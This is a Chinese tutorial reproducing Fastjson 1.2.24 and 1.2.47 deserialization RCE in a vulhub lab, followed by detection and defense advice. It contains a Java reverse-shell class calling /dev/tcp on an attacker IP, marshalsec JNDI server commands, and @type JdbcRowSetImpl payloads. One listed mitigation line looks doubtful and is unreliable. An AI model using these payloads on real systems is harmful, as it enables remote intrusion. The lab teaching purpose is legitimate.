一、Fastjson 概述
(一)基本介绍
Fastjson 是阿里巴巴开源的高性能 JSON 解析库,支持 Java 对象与 JSON 字符串的快速转换,因速度快、API 简洁、功能完备等特点,被广泛应用于缓存序列化、协议交互等场景。
(二)核心功能
- 序列化:通过
JSON.toJSONString(obj)
将 Java 对象转换为 JSON 字符串。 - 反序列化:通过
JSON.parseObject(jsonStr, Class)
将 JSON 字符串还原为 Java 对象。
(三)漏洞背景
2022 年 5 月,官方通报 Fastjson ≤ 1.2.80 版本存在反序列化远程代码执行漏洞,攻击者可在特定条件下绕过默认的 autoType 关闭限制,实现远程攻击。
二、Fastjson 反序列化漏洞复现(1.2.24 版本)
(一)漏洞原理
该版本未对 JSON 中 @type 字段指定的类进行严格校验,攻击者可通过 @type 调用危险类(如 com.sun.rowset.JdbcRowSetImpl),利用其 JNDI 功能加载远程恶意对象,最终执行任意代码。
(二)攻击环境准备
- 受害者环境:vulhub 靶场 vulhub/fastjson/1.2.24-rce,运行 docker-compose up -d。
- 攻击者工具:
- marshalsec:java1.8 启动 RMI/LDAP 服务,下载文件https://github.com/RandomRobbieBF/marshalsec-jar。
- Python:启动 HTTP 服务,存放恶意 class 文件。
- nc:监听端口,接收反弹 shell。
(三)攻击流程
- 准备恶意 class 文件
写文件示例:
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/test.txt"}; // 执行创建文件命令
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {}
}
}
反弹 shell 示例:
import java.lang.Runtime;
import java.lang.Process;
public class reverse {
static {
try {
Runtime rt = Runtime.getRuntime();
// 反弹shell到攻击者IP:端口
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.226.141/9527 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {}
}
}
- 编译 Java 文件:javac reverse.java 生成 reverse.class。
- 监听 9527 端口,nc -lvnp 9527。
- 启动 HTTP 服务:python -m http.server 8080(将 reverse.class 放在当前目录,供远程访问)。
- 通过 marshalsec-0.0.3-SNAPSHOT-all.jar 启动 RMI 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://攻击者IP:8080/#reverse" 1099
或启动 LDAP 服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击者IP:8080/#reverse" 1099
- 请求包构造攻击 Payload
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://攻击者IP:1099/reverse",
"autoCommit": true
}
}
注意下方三个红框的地方,不然不会成功
成功反弹!
(四)漏洞触发原理
- Fastjson 解析 JSON 时,根据 @type 字段创建 JdbcRowSetImpl 实例。
- 当设置 dataSourceName(JNDI 地址)和 autoCommit=true 时,触发 setAutoCommit () 方法,进而调用 connect () 方法。
- connect () 方法通过 InitialContext.lookup (dataSourceName) 发起 JNDI 查询,加载远程恶意类并执行代码。
三、Fastjson 反序列化漏洞复现(1.2.47 版本)
(一)漏洞原理
1.2.25 版本后引入黑名单机制限制危险类,但 1.2.47 及之前版本存在缓存绕过漏洞:类名和类型会被缓存,首次加载后不再检查黑名单。攻击者可先加载危险类至缓存,后续反序列化时直接绕过校验。
(二)攻击 Payload
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl" // 先加载危险类至缓存
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl", // 利用缓存的类
"dataSourceName": "rmi://攻击者IP:端口/类名",
"autoCommit": true
}
}
(三)Payload 解析
- 字段 a:通过 java.lang.Class 主动加载 JdbcRowSetImpl 类,触发缓存机制。
- 字段 b:直接使用已缓存的类,触发 JNDI 注入,流程与 1.2.24 版本一致。
四、漏洞核心机制总结
(一)JNDI 注入链
@type 指定危险类 → 类方法调用 InitialContext.lookup () → JNDI 加载远程恶意对象 → 执行代码。
(二)黑名单绕过
1.2.47 版本前通过缓存机制绕过:先将危险类加载至缓存,后续反序列化时直接调用,规避黑名单检查。
五、如何识别 Fastjson 反序列化漏洞存在
- 查看数据格式:若网站接口接收 JSON 格式请求(如 POST 请求体为 JSON 数据),可能使用 Fastjson 解析。
- 构造特定请求:发送含 @type 字段的 JSON payload,例如指定 com.sun.rowset.JdbcRowSetImpl 类并设置 dataSourceName 为攻击者控制的 RMI/LDAP 地址(如 rmi:// 攻击者 IP:1099 / 类名),若目标尝试连接该地址,可能存在漏洞。
- 检查版本:若网站使用的 Fastjson 版本≤1.2.80,存在漏洞风险;1.2.24 版本可直接通过 @type 调用危险类,1.2.47 版本可利用缓存机制绕过黑名单。
- 分析响应与日志:若响应中出现与 Fastjson 相关的报错,或日志中有异常的 JNDI 调用、危险类加载记录,可能存在漏洞。
六、防御建议
- 版本升级:升级至 Fastjson 1.2.83 及以上版本,官方已修复 autoType 限制绕过问题。
- 禁用 autoType:
// 代码中显式禁用
JSON.DEFAULT_TYPE_KEY = null;
// 或通过系统配置
System.setProperty("fastjson.autoTypeSupport", "false");
- 配置白名单:通过 ParserConfig.getGlobalInstance ().addAccept (“允许的包名前缀”) 限制可加载的类。
- 输入过滤:限制对外接口的 JSON 输入,避免直接解析不可信数据;结合 WAF 拦截含 @type、rmi://、ldap:// 等特征的恶意请求。
- 监控审计:监控应用日志中的类加载异常,及时发现可疑的 JNDI 调用或危险类加载行为。